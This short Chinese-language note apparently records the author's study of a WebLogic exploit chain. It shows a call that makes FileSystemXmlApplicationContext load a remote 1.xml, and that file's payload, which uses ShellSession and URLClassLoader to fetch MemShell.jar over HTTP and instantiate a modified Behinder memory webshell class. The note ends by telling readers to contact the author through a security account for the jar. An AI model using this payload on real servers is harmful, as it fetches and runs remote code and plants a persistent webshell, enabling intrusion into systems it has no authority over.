我看不大懂,先百度几个用到的函数,以后慢慢理解。com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext('http://127.0.0.1:8080/1.xml)
然后线程加载com.bea.core.repackaged.springframework.context.support.fileSystemXmlAplicationContext('http://127.0.0.1:8080/1.xml)
也就是加载本地或者远程的1.xml,生成内存shell的代码也主要在这里边。
公共类FileSystemXmlApplicationContext
独立的XML应用程序上下文,从文件系统或URL中获取上下文定义文件,将纯路径解释为相对文件系统位置(例如“ mydir / myfile.txt”)。对于测试工具以及独立环境很有用。
1.xml
com.tangosol.coherence.mvel2.sh.ShellSession(" java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8000/MemShell.jar")}); u.loadClass("org.unicodeSec.bingxie").newInstance(); u.close(); ");
也就是反射加载url中的
关于加载的MemShell.jar
结合宽字节内部版的魔改冰蝎,这个未经作者允许,暂不放出来。可关注宽字节安全,后台联系作者获取。